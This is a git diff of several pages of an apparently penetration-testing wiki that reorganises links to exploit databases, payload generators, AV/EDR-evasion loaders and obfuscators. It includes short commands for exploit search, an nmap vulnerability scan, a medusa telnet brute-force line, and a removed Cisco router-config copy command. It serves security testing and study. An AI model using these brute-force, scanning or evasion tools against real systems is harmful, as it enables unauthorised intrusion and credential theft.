[https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse) -* [WadComs - ](https://wadcoms.github.io)WADComs is an interactive cheat sheet, containing a curated list of offensive security tools and their respective commands, to be used against Windows/AD environments. +WadComs is maintained in the Offensive Toolbox. + +{% content-ref url="../offensive-toolbox/" %} +[offensive-toolbox](../offensive-toolbox/) +{% endcontent-ref %}
diff --git a/red-offensive/testing-methodology/exploit-dev-buffer-overflow.md b/red-offensive/testing-methodology/exploit-dev-buffer-overflow.md index a8a95f9..2224aa5 100644 --- a/red-offensive/testing-methodology/exploit-dev-buffer-overflow.md +++ b/red-offensive/testing-methodology/exploit-dev-buffer-overflow.md @@ -7,7 +7,6 @@ ## **Guides** * [https://kalitut.com/exploit-development-resources/](https://kalitut.com/exploit-development-resources/) -* [https://github.com/johnjhacking/Buffer-Overflow-Guide](https://github.com/johnjhacking/Buffer-Overflow-Guide) * [https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/](https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/) * [https://www.corelan.be/index.php/2009/07/23/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-2/](https://www.corelan.be/index.php/2009/07/23/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-2/) * [https://www.sans.org/reading-room/whitepapers/threats/buffer-overflows-dummies-481](https://www.sans.org/reading-room/whitepapers/threats/buffer-overflows-dummies-481) @@ -45,7 +44,7 @@ Stack * [CTF-Wiki](https://ctf-wiki.org/pwn/readme/) * [Ret2 Systems](https://wargames.ret2.systems/) (paid) * [Ironstone](https://ir0nstone.gitbook.io/notes) -* [PWN Practice](https://github.com/seal9055/PWN\_Zero2Hero) (mine) +* [PWN Practice](https://github.com/seal9055/PWN_Zero2Hero) Heap @@ -69,7 +68,7 @@ Kernel basics/dev Exploitation * [lkmidas](https://lkmidas.github.io/posts/20210123-linux-kernel-pwn-part-1/) -* [Kernel ROP](https://seal9055.com/blog/kernel/return\_oriented\_programming) (mine) +* [Kernel ROP](https://seal9055.com/blog/kernel/return_oriented_programming) * [ptr-yudai](https://ptr-yudai.hatenablog.com/entry/2020/03/16/165628#LeakAARAAWRIP%E5%88%B6%E5%BE%A1%E3%81%AB%E4%BD%BF%E3%81%88%E3%82%8B%E6%A7%8B%E9%80%A0%E4%BD%93%E4%B8%80%E8%A6%A7) * [Lexfo](https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part1.html) * [Kernel Heap Exploitation](https://argp.github.io/2012/01/03/linux-kernel-heap-exploitation/) @@ -85,7 +84,7 @@ Exploitation ### Browser Exploitation -* [seal9055\_Complete Introduction](https://seal9055.com/blog/browser/browser\_architecture) (mine) +* [seal9055 Complete Introduction](https://seal9055.com/blog/browser/browser_architecture) * [Official V8 Blog](https://v8.dev/blog) * [pwnbykenny V8 Objects](https://pwnbykenny.com/2020/07/05/v8-objects-and-their-structures/) * [Jayconrod V8 Objects](https://www.jayconrod.com/posts/52/a-tour-of-v8--object-representation) @@ -126,7 +125,7 @@ Exploitation ## **Tools** -* [Frida](https://github.com/frida) - Inject arbitrary code into other applications! +* [Frida](https://github.com/frida) - Dual-use dynamic instrumentation framework for authorized exploit development, mobile testing, and reverse engineering. * [Frida • A world-class dynamic instrumentation framework | Inject JavaScript to explore native apps on Windows, macOS, GNU/Linux, iOS, Android, and QNX](https://frida.re/) * [Awesome Lists Collection: Frida](https://github.com/dweinstein/awesome-frida) * _Operator Handbook: Frida - pg.67_ diff --git a/red-offensive/testing-methodology/exploit-research.md b/red-offensive/testing-methodology/exploit-research.md index b1cab17..52c8fcf 100644 --- a/red-offensive/testing-methodology/exploit-research.md +++ b/red-offensive/testing-methodology/exploit-research.md @@ -1,233 +1,140 @@ -# Exploitation and Targets +# Vulnerability and Exploit Research -## Exploitation Frameworks +Use this page when reconnaissance has identified a product, version, service, or CVE and you need to understand exploitability. General indicator reputation and passive threat intelligence live in Cyber Intelligence. -For those wanting an all-in-one solution, (or as close as we can get it), there exists larger frameworks that contain a multitude of tools and utilties to perform far more than just initial exploitation. - -{% content-ref url="../exploitation-and-targets/offensive-frameworks.md" %} -[offensive-frameworks.md](../exploitation-and-targets/offensive-frameworks.md) +{% content-ref url="../../cyber-intelligence/threat-data.md" %} +[threat-data.md](../../cyber-intelligence/threat-data.md) {% endcontent-ref %} -## Exploit Research - -After your all your active and passive scanning is finished, you should have a a pretty good understanding of the technology that makes up your target. The next step is to look for weaknesses in those technologies. Vulnerability databases are a trove of information on what versions of different technologies have vulnerabilities that can be exploited. Some vulnerability entries will even have information on and links to, the exploit coded for the target vulnerability. - -
- -Vulnerability Research Databases - -* [National Vulnerability DB](https://nvd.nist.gov/) - The NIST NVD includes databases of security checklist references, security-related software flaws, misconfigurations, product names, and impact metrics. -* [MITRE CVE](https://cve.mitre.org/cve/search\_cve\_list.html) - Identify, define, and catalog publicly disclosed cybersecurity vulnerabilities -* [GitHub Advisory Database](https://github.com/advisories) - Security vulnerability database inclusive of CVEs and GitHub originated security advisories -* [cloudvulndb.org](https://www.cloudvulndb.org/) - The Open Cloud Vulnerability & Security Issue Database -* [osv.dev](https://osv.dev/list) - Open Source Vulnerabilities -* [Vuldb](https://vuldb.com/) - Public and community supported vulnerability database -* [Attacker KB](https://attackerkb.com/) - Vulnerability forum where researchers can add details to a vulnerability entry. - * [https://tryhackme.com/room/attackerkb](https://tryhackme.com/room/attackerkb) -* [CVE details](https://www.cvedetails.com/) - Vulnerability database with some enrichment around the vulnerability -* [Zero Day DB](https://www.zero-day.cz/database/) - Research and data repository for Zero-Day vulnerability discoveries. -* [Security Focus](https://www.securityfocus.com/vulnerabilities) - The SecurityFocus Vulnerability Database provides security professionals with the most up-to-date information on vulnerabilities for all platforms and services. -* [Vulners.com](https://vulners.com/) - Your Search Engine for Security Intelligence -* [opencve.io](https://www.opencve.io/cve) - Easiest way to track CVE updates and be alerted about new vulnerabilities -* [Mend Vulnerability Database](https://www.mend.io/vulnerability-database/) - The largest open source vulnerability DB -* [https://vulmon.com/](https://vulmon.com/) - Vulmon is a vulnerability search engine with vulnerability intelligence features. Vulmon conducts full text search in its database; therefore, you can search everything related to vulnerabilities. It includes CVE ID, vulnerability types, vendors, products, exploits, operating systems and anything else related to vulnerabilities. -* [https://hpi-vdb.de/vulndb/](https://hpi-vdb.de/vulndb/) - a comprehensive and up-to-date repository which contains a large number of known vulnerabilities of Software. The vulnerability information being gathered from Internet is evaluated, normalized, and centralized in the high performance database. -* [https://snyk.io/vuln/](https://snyk.io/vuln/) - Detailed information and remediation guidance for known vulnerabilities. -* [VulnIQ](https://vulniq.com/) - Vulnerability intelligence and management solution -* [SynapsInt](https://synapsint.com/) - The unified OSINT research tool -* [Aqua Vulnerability Database](https://avd.aquasec.com/) - Vulnerabilities and weaknesses in open source applications and cloud native infrastructure -* [https://inthewild.io/feed](https://inthewild.io/feed) - Fantastic free vuln and exploit feed. - -
- -
- -Exploit Databases - -* [Vulners DB](https://vulners.com) - Lucene based search engine to parse the largest database of vulnerabilities and exploits available. -* [Rapid 7 Exploit DB](https://www.rapid7.com/db/) - A curated repository of vetted computer software exploits and exploitable vulnerabilities. -* [CX Exploit DB](https://cxsecurity.com/exploit/) - BugTraq, Search for published entries of vulnerabilities and related exploits -* [Packet Storm Exploits](https://packetstormsecurity.com/files/tags/exploit/) - Collection of vulnerabilities and exploits pulled from across the web. -* [Securiteam](https://securiteam.com/) - A central Security web site containing all the newest security information from various mailing lists, hacker channels, tools, and knowledge. -* [FullDisclosure](https://seclists.org/fulldisclosure/) - A public, vendor-neutral forum for detailed discussion of vulnerabilities and exploitation techniques, as well as tools, papers, news, and events of interest to the community. -* [Shodan Exploits](https://exploits.shodan.io/welcome) - Use Shodan searching capabilities to search vulnerabilities and exploits across multiple platforms -* [SploitUs ](https://sploitus.com/) - Vulnerability and Exploit search engine powered by Vulners. Bonus: it has dark mode. - -
- -
- -Exploit Evaluation - -* [https://attackerkb.com](https://attackerkb.com) - When a new vulnerability prompts discussion on Twitter or hits media outlets, it can be difficult for security teams to wade through all the hype to determine risk and priority. How pervasive is the vulnerability? Is the expected shelf life long enough that it’s worth developing an exploit for? Is it worth dropping everything to patch or mitigate? Does an adversary or threat actor have a desire or motive to exploit the opportunity? Or is it actually… not useful or interesting? - - Security researchers and hackers are almost always the first to shed light on the specific conditions and characteristics that make a vulnerability not just exploitable, but actually useful to attackers. AttackerKB was built to capture, highlight, and expand that knowledge for the whole security community. - - - -
- -
- -Command Line Tools - -* [Searchsploit](https://www.exploit-db.com/searchsploit) - Exploit code search tool - * \#sudo apt update && sudo apt install exploitdb - * \#searchsploit -u - * \#searchsploit \[options] \[term1] \[term2] - * \#searchsploit remote smb microsoft windows - * \--exclude options to focus search, use the | operator to separate -* [FindSploit](https://github.com/1N3/Findsploit) - Findsploit is a simple bash script to quickly and easily search both local and online exploit databases. -* [Getsploit](https://github.com/vulnersCom/getsploit) - Command line search and download tool for [Vulners Database](https://vulners.com) -* [Pompem](https://github.com/rfunix/Pompem) - Pompem is an open source tool, designed to automate the search for Exploits and Vulnerability in the most important databases. In the current version, it performs searches in PacketStorm security, CXSecurity, ZeroDay, Vulners, National Vulnerability Database, WPScan Vulnerability Database and more. - * [https://www.kali.org/tools/pompem/](https://www.kali.org/tools/pompem/) -* NSE exploit scripts - Search for exploits available in NSE - * \# cd /usr/share/nmap/scripts - * \# grep Exploits \*.nse - -
- -{% embed url="https://youtu.be/29GlfaH5qCM" %} - -## Exploit Payloads - -An Exploit Payload is a piece of code or a sequence of commands which is used to exploit a vulnerability or weakness in a system or software. It is usually delivered by an Exploit, which is a program or code that takes advantage of a vulnerability in a system or software. The payload is the part of the exploit which is responsible for performing the malicious action once the vulnerability has been exploited. +## Vulnerability Databases -The payload can vary depending on the type of exploit, but it generally involves executing code or commands on the system. It can be used to install malware, gain access to a system, or even delete data and files. In some cases, the payload can be used to alter the system’s configuration or settings. +* [NVD](https://nvd.nist.gov/) - NIST vulnerability database with CVSS, CPE, CWE, references, and enrichment. +* [CVE.org](https://www.cve.org/) - Official CVE Program site for CVE records. Use this instead of the older `cve.mitre.org` search workflow. +* [GitHub Advisory Database](https://github.com/advisories) +* [OSV](https://osv.dev/list) - Open source vulnerability database. +* [VulDB](https://vuldb.com/) - Community and commercial vulnerability database. +* [AttackerKB](https://attackerkb.com/) - Practitioner notes on exploitability and real-world usefulness. +* [CVE Details](https://www.cvedetails.com/) +* [OpenCVE](https://www.opencve.io/cve) - CVE tracking and alerting. +* [Mend Vulnerability Database](https://www.mend.io/vulnerability-database/) +* [Vulmon](https://vulmon.com/) - Vulnerability search with CVE, vendor, product, exploit, and OS context. +* [HPI-VDB](https://hpi-vdb.de/vulndb/) +* [Snyk Vulnerability Database](https://snyk.io/vuln/) +* [Aqua Vulnerability Database](https://avd.aquasec.com/) - Cloud native and open source vulnerability data. +* [cloudvulndb.org](https://www.cloudvulndb.org/) - Cloud vulnerability and security issue database. +* [inTheWild.io](https://inthewild.io/feed) - Vulnerability and exploit feed focused on observed exploitation. -The payload can be written in any language and is typically tailored to the specific exploit and system being attacked. This ensures that the payload will be successful in exploiting the vulnerability. It is important to note that the payload is only one part of the exploit and must be used in conjunction with other components such as the exploit code or shellcode in order to be successful. +### Historical or Deprecated -[**PayloadAllTheThings**](https://github.com/swisskyrepo/PayloadsAllTheThings) **-** The largest and greatest collection of shells and shell commands on the web. +* **SecurityFocus Vulnerability Database** - Historically important, but no longer a reliable current vulnerability source. +* **Securiteam** - Historical security news and exploit archive; verify availability before relying on it. -
+## Exploit Databases -Metasploit Payloads +* [Exploit-DB](https://www.exploit-db.com/) - Public exploit archive from Offensive Security. +* [Searchsploit](https://www.exploit-db.com/searchsploit) - Local Exploit-DB search tool. +* [Rapid7 Vulnerability and Exploit Database](https://www.rapid7.com/db/) +* [Vulners](https://vulners.com/) - Vulnerability and exploit search. +* [CXSecurity Exploit DB](https://cxsecurity.com/exploit/) +* [Packet Storm Exploits](https://packetstormsecurity.com/files/tags/exploit/) +* [Full Disclosure](https://seclists.org/fulldisclosure/) +* [Shodan Exploits](https://exploits.shodan.io/welcome) +* [Sploitus](https://sploitus.com/) - Exploit search powered by Vulners. -* [r00t-3xp10it/venom](https://github.com/r00t-3xp10it/venom) - metasploit Shellcode generator/compiller -* [https://github.com/g0tmi1k/msfpc](https://github.com/g0tmi1k/msfpc) - MSFvenom Payload Creator (MSFPC) -* Converting a Metasploit module into a standalone binary - [https://netsec.ws/?p=262](https://netsec.ws/?p=262) -* Creating Metasploit Payloads - [https://netsec.ws/?p=331](https://netsec.ws/?p=331) -* Metasploit Payloads - [https://github.com/rapid7/metasploit-payloads](https://github.com/rapid7/metasploit-payloads) +## Command Line Research Tools -
+```bash +sudo apt update && sudo apt install exploitdb +searchsploit -u +searchsploit remote smb microsoft windows +searchsploit --exclude="dos" apache 2.4 +``` -
+* [FindSploit](https://github.com/1N3/Findsploit) - Searches local and online exploit databases. +* [Getsploit](https://github.com/vulnersCom/getsploit) - Vulners CLI search and download tool. +* [Pompem](https://github.com/rfunix/Pompem) - Searches multiple exploit and vulnerability databases. +* [Kali Pompem package](https://www.kali.org/tools/pompem/) -ShellCode/Payload Crafting Tools +Nmap NSE can also surface vulnerability and exploit checks: -* [unicorn](https://github.com/trustedsec/unicorn) - Unicorn is a simple tool for using a PowerShell downgrade attack and inject shellcode straight into memory. -* [ads-payload](https://github.com/ChrisAD/ads-payload) - Powershell script which will take any payload and put it in the a bat script which delivers the payload. The payload is delivered using environment variables, alternating data streams and wmic. -* [http://shell-storm.org/shellcode/](http://shell-storm.org/shellcode/) -* [https://www.vividmachines.com/shellcode/shellcode.html](https://www.vividmachines.com/shellcode/shellcode.html) -* [shellnoob](https://www.kali.org/tools/shellnoob/) - convert shellcode between different formats and sources. +```bash +cd /usr/share/nmap/scripts +grep -E '"vuln"|"exploit"' script.db +nmap --script vuln 10.10.10.10 +``` -
+## Exploit Evaluation -
+Before running public exploit code, verify: -Misc Loader, Stagers, and Utility +* The vulnerable product and version match the target. +* The exploit conditions match your environment and privileges. +* The exploit is not destructive by default. +* The exploit code does not include credential theft, unrelated persistence, or hidden payloads. +* The technique is explicitly permitted by the rules of engagement. -* [EncryptedReaper](https://github.com/ItsCyberAli/EncryptedReaper) - A program to encrypt a binary to bypass static detection and aid in loader or dropper development and hide your payload in the resource section. -* [TerraLdr](https://github.com/ORCx41/TerraLdr) - A Payload Loader Designed With Advanced Evasion Features -* [obscureV4](https://github.com/dagonis/obscureV4) - Obscure an IPv4 address into over 100 different formats that still work for connecting to network resources. Useful for bypassing web application firewalls and intrusion detection systems. -* [DNSStager](https://github.com/mhaskar/DNSStager) - DNSStager will create a malicious DNS server that handles DNS requests to your domain and return your payload as a response to specific record requests such as `AAAA` or `TXT` records after splitting it into chunks and encoding the payload using different algorithms. -* Onelinepy - [https://www.kitploit.com/2021/06/onelinepy-python-obfuscator-to-generate.html?m=1](https://www.kitploit.com/2021/06/onelinepy-python-obfuscator-to-generate.html?m=1) -* OneLinerize, turn any python file into a command/payload - [https://github.com/csvoss/onelinerizer](https://github.com/csvoss/onelinerizer) -* [BashObfuscator](https://github.com/Bashfuscator/Bashfuscator) - BashObfuscator is a modular and extendable Bash obfuscation framework written in Python 3. It provides numerous different ways of making Bash one-liners or scripts much more difficult to understand. -* [Shellter](https://github.com/ParrotSec/shellter) - dynamic shellcode injection tool - * [https://www.kali.org/tools/shellter/](https://www.kali.org/tools/shellter/) -* [Sharpshooter](https://github.com/mdsecactivebreach/SharpShooter) - payload stager crafting tool - * [https://www.mdsec.co.uk/2018/03/payload-generation-using-sharpshooter](https://www.ndsec.co.uk/2018/03/payload-generation-using-sharpshooter) +AttackerKB, vendor advisories, exploit code comments, and controlled lab reproduction are useful for deciding whether a vulnerability is exploitable enough to test. -
+## Payloads and Shells -### Exploit Obfuscation - -Exploit Obfuscation is a method of making malicious software or code harder to detect and analyze. This technique can be used to evade antivirus software and make it more difficult to identify and remove malicious code. There are various methods used to obfuscate code, such as changing the code structure, using alternate coding languages, and using encryption. - -* Collection of Microsoft vulnerabilities and exploits that they refuse to patch. [https://github.com/cfalta/MicrosoftWontFixList](https://github.com/cfalta/MicrosoftWontFixList) -* [https://www.wietzebeukema.nl/blog/windows-command-line-obfuscation](https://www.wietzebeukema.nl/blog/windows-command-line-obfuscation) -* [https://github.com/optiv/Freeze](https://github.com/optiv/Freeze) - Freeze is a payload toolkit for bypassing EDRs using suspended processes, direct syscalls, and alternative execution methods - -{% tabs %} -{% tab title="Veil Framework" %} -[Veil-Framework](https://github.com/Veil-Framework/Veil) - Veil is a tool designed to generate Metasploit payloads that bypass common anti-virus solutions. - -* Use the Veil payload with a meterpreter session -* Can take pre-armored shellcode and use it to create a robust executable -* Securing non-armored shellcode with AES encryption to create a compiled python executable -* [GitHub - Veil-Framework/Veil: Veil 3.1.X (Check version info in Veil at runtime)](https://github.com/veil-framework/veil) -* [GitHub - Veil-Framework/Veil-Evasion: Veil Evasion is no longer supported, use Veil 3.0!](https://github.com/Veil-Framework/Veil-Evasion) -* [GitHub - Veil-Framework/Veil-Ordnance: Veil-Ordnance is a tool designed to quickly generate MSF stager shellcode](https://github.com/veil-framework/veil-ordnance) - -{% embed url="https://youtu.be/iz1twCSJZyo" %} -{% endtab %} - -{% tab title="MSFVenom" %} -### [MSFVenom](https://www.offensive-security.com/metasploit-unleashed/msfvenom/) - -* msfvenom cheatsheet - [https://nitesculucian.github.io/2018/07/24/msfvenom-cheat-sheet/](https://nitesculucian.github.io/2018/07/24/msfvenom-cheat-sheet/) -* msfvenom payloads - [https://github.com/Shiva108/CTF-notes/blob/master/msfvenom.html](https://github.com/Shiva108/CTF-notes/blob/master/msfvenom.html) -* msfvenom basic guide - [https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom) -* Blackhills Infosec. msfvenom advanced payload guide - [https://www.blackhillsinfosec.com/advanced-msfvenom-payload-generation/](https://www.blackhillsinfosec.com/advanced-msfvenom-payload-generation/) -* msfvenom payload calculator - [https://github.com/g0tmi1k/msfpc](https://github.com/g0tmi1k/msfpc) -* [https://book.hacktricks.xyz/shells/shells/untitled](https://book.hacktricks.xyz/shells/shells/untitled) -* [https://nitesculucian.github.io/2018/07/24/msfvenom-cheat-sheet/](https://nitesculucian.github.io/2018/07/24/msfvenom-cheat-sheet/) -* _Operator Handbook: MSFVenom - pg.208_ +Payload generation and shell handling are maintained on their own pages. {% content-ref url="payloads-and-obfuscation/msfvenom-commands.md" %} [msfvenom-commands.md](payloads-and-obfuscation/msfvenom-commands.md) {% endcontent-ref %} -{% endtab %} - -{% tab title="Powershell Obfuscation" %} -* [Invoke-Obfuscation](https://github.com/danielbohannon/Invoke-Obfuscation) - Invoke-Obfuscation is a PowerShell v2.0+ compatible PowerShell command and script obfuscator. -* [NoPowerShell](https://github.com/Ben0xA/nps) - Windows Binary that executes powershell through .NET instead of a direct powershell.exe call -* [https://github.com/trustedsec/nps\_payload](https://github.com/trustedsec/nps\_payload) -* [HideMyPS](https://github.com/cheetz/hidemyps) - This is a custom PowerShell Obfuscator used in The Hacker Playbook 3 (THP3). Please refer to THP3 for further details. -{% endtab %} -{% endtabs %} - -### Shells - -One of the most common goals of an initial exploitation is to get a remote shell on your target. This essentially allows you remote command line access to it. When crafting your payloads, the contents will often be instructions to establish your inital shell. {% content-ref url="../exploitation-and-targets/shells.md" %} [shells.md](../exploitation-and-targets/shells.md) {% endcontent-ref %} -## Exploit by Target - -In the absense of specifically identified vulnerabilities, there are many tools that can be used for enumeration and exploitation for specific protocols, services, and applications. - -Exploitation by port will show you common ports that you may find and some tools/commands to use to attack them. +## Payload and Obfuscation References + +These resources are offensive development references. Keep defensive malware analysis, sandboxing, and YARA on the DFIR pages. + +* [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings) +* [Metasploit Payloads](https://github.com/rapid7/metasploit-payloads) +* [MSFPC](https://github.com/g0tmi1k/msfpc) - MSFvenom Payload Creator. +* [venom](https://github.com/r00t-3xp10it/venom) - Metasploit shellcode generator/compiler. +* [Unicorn](https://github.com/trustedsec/unicorn) - PowerShell downgrade and shellcode injection helper. +* [ads-payload](https://github.com/ChrisAD/ads-payload) - PowerShell payload delivery helper using environment variables, alternate data streams, and WMIC. +* [shell-storm Shellcode Database](http://shell-storm.org/shellcode/) +* [Vivid Machines Shellcode Tutorial](https://www.vividmachines.com/shellcode/shellcode.html) +* [shellnoob](https://www.kali.org/tools/shellnoob/) - Converts shellcode between formats and sources. +* [EncryptedReaper](https://github.com/ItsCyberAli/EncryptedReaper) - Payload encryption and resource-section hiding helper. +* [TerraLdr](https://github.com/ORCx41/TerraLdr) - Payload loader with evasion features. +* [obscureV4](https://github.com/dagonis/obscureV4) - IPv4 representation obfuscation. +* [DNSStager](https://github.com/mhaskar/DNSStager) - DNS-based payload staging. +* [onelinerizer](https://github.com/csvoss/onelinerizer) - Turns Python scripts into one-liners. +* [Bashfuscator](https://github.com/Bashfuscator/Bashfuscator) - Bash obfuscation framework. +* [Shellter](https://github.com/ParrotSec/shellter) - Dynamic shellcode injection tool. +* [SharpShooter](https://github.com/mdsecactivebreach/SharpShooter) - Payload stager crafting tool. + * [MDSec: Payload Generation Using SharpShooter](https://www.mdsec.co.uk/2018/03/payload-generation-using-sharpshooter) +* [Freeze](https://github.com/optiv/Freeze) - Payload toolkit using suspended processes, direct syscalls, and alternate execution methods. +* [MicrosoftWontFixList](https://github.com/cfalta/MicrosoftWontFixList) - Collection of Microsoft vulnerabilities and exploits that were not patched. +* [Windows Command-Line Obfuscation](https://www.wietzebeukema.nl/blog/windows-command-line-obfuscation) + +### PowerShell Obfuscation + +* [Invoke-Obfuscation](https://github.com/danielbohannon/Invoke-Obfuscation) +* [NoPowerShell](https://github.com/Ben0xA/nps) +* [nps_payload](https://github.com/trustedsec/nps_payload) +* [HideMyPS](https://github.com/cheetz/hidemyps) + +### Legacy + +* [Veil](https://github.com/Veil-Framework/Veil) - Metasploit payload generation and AV bypass framework. Verify current compatibility before relying on it. +* **Veil-Evasion** - No longer supported; use the maintained Veil repository if this workflow is required. + +## Related Pages + +{% content-ref url="../exploitation-and-targets/" %} +[exploitation-and-targets](../exploitation-and-targets/) +{% endcontent-ref %} {% content-ref url="exploitation.md" %} [exploitation.md](exploitation.md) {% endcontent-ref %} -When exploiting a web based resource, there many different vulnerabilities to take advantage of. Here is a list of common vulnerabilities with resources on how to exploit them. - -{% content-ref url="../../web-app-hacking/attacks-and-vulnerabilities/" %} -[attacks-and-vulnerabilities](../../web-app-hacking/attacks-and-vulnerabilities/) -{% endcontent-ref %} - -Needing its own section, there is a huge list of different technologies used in web applications. Here is a list of commonly used web technologies and some resources on how to exploit them. - -{% content-ref url="../../web-app-hacking/web-technologies/" %} -[web-technologies](../../web-app-hacking/web-technologies/) -{% endcontent-ref %} - -Some times you will encounter unusual targets such as networking devices, VOIP services, and even mobile devices. Many have thier own tools and methodologys to use against them. - -{% content-ref url="../exploitation-and-targets/special-targets.md" %} -[special-targets.md](../exploitation-and-targets/special-targets.md) -{% endcontent-ref %} - -## Exploit Development and Buffer Overflow - -For when there isnt a exploit or tool available, its time to do it yourself. - {% content-ref url="exploit-dev-buffer-overflow.md" %} [exploit-dev-buffer-overflow.md](exploit-dev-buffer-overflow.md) {% endcontent-ref %} diff --git a/red-offensive/testing-methodology/exploitation.md b/red-offensive/testing-methodology/exploitation.md index 194f8c8..bde64c6 100644 --- a/red-offensive/testing-methodology/exploitation.md +++ b/red-offensive/testing-methodology/exploitation.md @@ -28,7 +28,7 @@ Once you have your initial exploitation, you will essentially attempt a second r {% tab title="Windows" %} * __[https://github.com/alphaSeclab/windows-security/blob/master/Readme\_en.md](https://github.com/alphaSeclab/windows-security/blob/master/Readme\_en.md) -* _Operator Handbook: Windows\_Exploi_ +* _Operator Handbook: Windows_Exploit_ {% endtab %} {% endtabs %} @@ -92,18 +92,16 @@ Metasploit {% tab title="Telnet Brute" %} ``` # medusa -M telnet -C /usr/share/wordlists/telnet.lst -H 23.txt -T 10 -t 3| grep SUCCESS |tee medusa-results.txt -# medua -h -u -P /path/to/wordlist -M [telnet|ssh] +# medusa -h -u -P /path/to/wordlist -M [telnet|ssh] ``` {% endtab %} -{% tab title="Cisco Auditing Tool" %} -### [Cisco Auditing Tool (CAT)](https://www.kali.org/tools/cisco-auditing-tool/) +{% tab title="Cisco Devices" %} +Cisco device testing is maintained in Special Targets. -Perl script which scans cisco routers for common vulnerabilities. - -``` -# CAT -h 192.168.99.230 -p 23 -a /usr/share/wordlists/nmap.lst -``` +{% content-ref url="../exploitation-and-targets/special-targets.md" %} +[special-targets.md](../exploitation-and-targets/special-targets.md) +{% endcontent-ref %} {% endtab %} {% endtabs %} @@ -201,6 +199,12 @@ Point-to-Point Tunneling Protocol provides remote access to mobile devices, uses {% endtab %} {% endtabs %} +Kerberos attack workflows such as AS-REP roasting and Kerberoasting are maintained in Attacking Active Directory. + +{% content-ref url="active-directory.md" %} +[active-directory.md](active-directory.md) +{% endcontent-ref %} + ## 53 - DNS {% tabs %} @@ -743,14 +747,12 @@ Enumeration * V3 wordlists - /usr/share/metasploit-framework/data/wordlists/snmp\_default\_pass.txt {% endtab %} -{% tab title="Cisco Copy Router Cfg" %} -### Cisco [copy-router-config](https://www.kali.org/tools/copy-router-config/) +{% tab title="Cisco Devices" %} +Cisco device testing is maintained in Special Targets. -Copies configuration files from Cisco devices running SNMP. - -``` -# copy-router-config.pl [Router IP] [TFTP Server IP] [Community String] -``` +{% content-ref url="../exploitation-and-targets/special-targets.md" %} +[special-targets.md](../exploitation-and-targets/special-targets.md) +{% endcontent-ref %} {% endtab %} {% endtabs %} @@ -787,7 +789,7 @@ ldapsearch -h 192.168.1.101 -p 389 -x -b "dc=mywebsite,dc=com" {% endtab %} {% endtabs %} -## 500/1723 - PPTP/L2TP/VPN +## 500 - IPsec/IKE VPN {% tabs %} {% tab title="Enumeration" %} @@ -829,7 +831,7 @@ rsh host [-l username] [-n] [-d] [-k realm] [-f | -F] [-x] [-PN | -PO] command {% endtab %} {% endtabs %} -## 541 - FOrtinet SSLVPN +## 541 - Fortinet SSL VPN * [https://help.fortinet.com/fos50hlp/54/Content/FortiOS/fortigate-ports-and-protocols-54/Images/FortiGate.png](https://help.fortinet.com/fos50hlp/54/Content/FortiOS/fortigate-ports-and-protocols-54/Images/FortiGate.png) * [SSL VPN Leak](https://opensecurity.global/forums/topic/181-fortinet-ssl-vpn-vulnerability-from-may-2019-being-exploited-in-wild/?\_\_cf\_chl\_jschl\_tk\_\_=42e37b31a0585f7dae3dbce18cafde7c39b81976-1578385705-0-AcuYzrPMO1OuMo59JSPYyzZjiXNbMAIl6sKiXwhQRbMUMZq1Kp3VmWqIVXWZdzTZgFCecXue1Z6xXxU-Rql\_GT\_ovKiar\_-i0CUCKFS85bfNXnUzuOuIwomXje-kH87mNbVHzzh9ediRfVWbJjwtO-ttLEYi7quczLlHQk38UqcumrARs77RrK2mj9zOb8Uwhv6av4QZ9od4fgAIl-F4Kff26MPQjs4LRHsgk5zH6RVwFMP8NdOnCrrzkkGH6\_R9Dtw89\_QtiOsH1nKB0hBDbtJ2O9AkkMDqw7tl1ip\_pVDfnw1lvaZtFq1sRqgYwpan-n6n9f58Xdjcj2UGFKdE32OS7Ete8X7RwXUV9FGUSOhAM5\_iK0kMNJg3mskrFVQz0lONaZVvFRdf\_1rp69J4oRVat1m7KIQEGpRDe4OvYUb7pfQkNKLcK5s\_lVIj2SAJQQ) @@ -843,7 +845,7 @@ rsh host [-l username] [-n] [-d] [-k realm] [-f | -F] [-x] [-PN | -PO] command {% tabs %} {% tab title="Enum" %} * [SQLPing](https://en.kali.tools/all/?tool=1338\&PageSpeed=noscript) - SQL Server scanning tool that also checks for weak passwords using wordlists. -* [SQLpoke](https://www.vulnerabilityassessment.co.uk/sqlpoke.htm)- SQL Server scanning tool +* **SQLpoke** - Legacy SQL Server scanning tool; the old `vulnerabilityassessment.co.uk` link is historical. ``` >sqlpoke [Start IP] [End IP] [Port] [Command File] @@ -919,20 +921,20 @@ root@kali:~/dirsearch# sqsh -S someserver -U sa -P PASS -D DB_NAME * [MSSQL for Pentester: Command Execution with xp\_cmdshell](https://www.hackingarticles.in/mssql-for-pentester-command-execution-with-xp\_cmdshell/) * [MSSQL for Pentester: Nmap](https://www.hackingarticles.in/mssql-for-pentesternmap/) * [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/MSSQL%20Server%20-%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/MSSQL%20Server%20-%20Cheatsheet.md) -* [https://github.com/N](https://github.com/NetSPI/PowerUpSQL) +* [PowerUpSQL](https://github.com/NetSPI/PowerUpSQL) {% endtab %} {% endtabs %} ## 1494 - Citrix -* [http://www.vulnerabilityassessment.co.uk/Citrix.html](http://www.vulnerabilityassessment.co.uk/Citrix.html) +* **Legacy Citrix assessment notes** - Older `vulnerabilityassessment.co.uk` Citrix references are historical; verify current Citrix product behavior before testing. * [http://en.hackdig.com/05/42426.htm](http://en.hackdig.com/05/42426.htm) ## 1521 - Oracle {% tabs %} {% tab title="Enumeration" %} -[oracsec](http://www.vulnerabilityassessment.co.uk/oracsec.htm) - A simple utility that can be used to enumerate SID's and carry out a simple username and password check against all default known usernames and passwords. +**oracsec** - Legacy Oracle enumeration utility. Verify availability before relying on it. 